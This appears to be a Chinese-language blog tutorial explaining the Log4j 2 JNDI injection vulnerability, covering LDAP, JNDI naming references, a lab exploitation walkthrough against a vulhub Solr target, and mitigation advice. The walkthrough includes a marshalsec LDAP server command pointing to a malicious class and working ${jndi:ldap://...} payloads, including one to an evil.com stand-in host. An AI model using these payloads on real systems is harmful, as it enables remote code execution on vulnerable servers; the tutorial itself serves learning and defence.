log4j JNDI注入漏洞
-
log4j JNDI注入漏洞
- 一、LDAP介紹
- 二、JDBC介紹
- 三、JNDI介紹
- 四、JNDI命名引用
- 五、log4j JNDI注入漏洞
一、LDAP介紹
? LDAP是一種協(xié)議,LDAP 的全稱是 Lightweight Directory Access Protocol,輕量目錄訪問協(xié)議。
二、JDBC介紹
? JDBC是一種規(guī)范,JDBC的全稱是Java數(shù)據(jù)庫連接(Java Database connect),它是一套用于執(zhí)行SQL語句的Java API。
三、JNDI介紹
? JNDI是一種規(guī)范,JNDI的全稱是Java Naming and Directory Interface,Java 命名與目錄接口??梢愿鶕?jù)名字找到對應(yīng)資源。
JNDI可以訪問的服務(wù):
LDAP目錄服務(wù)、RMI遠程方法調(diào)用、DNS、文件系統(tǒng)等。
四、JNDI命名引用
1、在LDAP里面可以存儲一個外部的資源,叫做命名引用,對應(yīng)Reference類。
比如:遠程HTTP服務(wù)的一個.class文件。
2、如果JNDI客戶端,在LDAP服務(wù)中找不到對應(yīng)的資源,就去指定的地址請求。如果是命名引用,會把這個文件下載到本地。
3、如果下載的.class文件包含無參構(gòu)造函數(shù)或靜態(tài)方法塊,加載的時候會自動執(zhí)行。
五、log4j JNDI注入漏洞
? Apache Log4j 2 是Java語言的日志處理套件,使用極為廣泛。在其2.0到2.14.1版本中存在一處JNDI注入漏洞,攻擊者在可以控制日志內(nèi)容的情況下,通過傳入類似于${jndi:ldap://evil.com/example}
的lookup用于進行JNDI注入,執(zhí)行任意代碼。
個人理解:(不一定正確)
log4j JNDI注入漏洞主要是因為log4j在日志記錄的方法中調(diào)用了lookup方法,可以通過JNDI去訪問LDAP、RMI等服務(wù),又因為ldap存在命名引用,如果不存在指定文件,就會去指定的url下載到本地,如果下載的.class文件包含無參構(gòu)造函數(shù)和靜態(tài)代碼塊就會被自動執(zhí)行,從而造成任意代碼執(zhí)行。
漏洞利用:
1、kali中開啟vulhub中l(wèi)og4j的靶機
2、開啟獲取資源的http服務(wù)器
3、把惡意的.java文件編譯后的.class文件放到http服務(wù)器上(需要用jdk1.8版本)
4、開啟RMI/LDAP服務(wù)(本機的9999端口)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.142.1/#TouchFile" 9999
5、bp發(fā)送payload
http://192.168.142.133:8983/solr/admin/cores?action=${jndi:ldap://192.168.142.1:9999/test}
修復思路:
1、禁止用戶請求參數(shù)出現(xiàn)攻擊關(guān)鍵字
2、禁止lookup下載遠程文件(命名引用)
3、禁止log4j的應(yīng)用連接外網(wǎng)
4、禁止log4j使用lookup
5、從log4j jar包中刪除lookup(適合2.10以下版本)
修復方案:
1、將log4j框架升級到2.17.1版本文章來源:http://www.zghlxwxcb.cn/news/detail-428307.html
2、使用安全產(chǎn)品防護文章來源地址http://www.zghlxwxcb.cn/news/detail-428307.html
到了這里,關(guān)于log4j JNDI注入漏洞的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!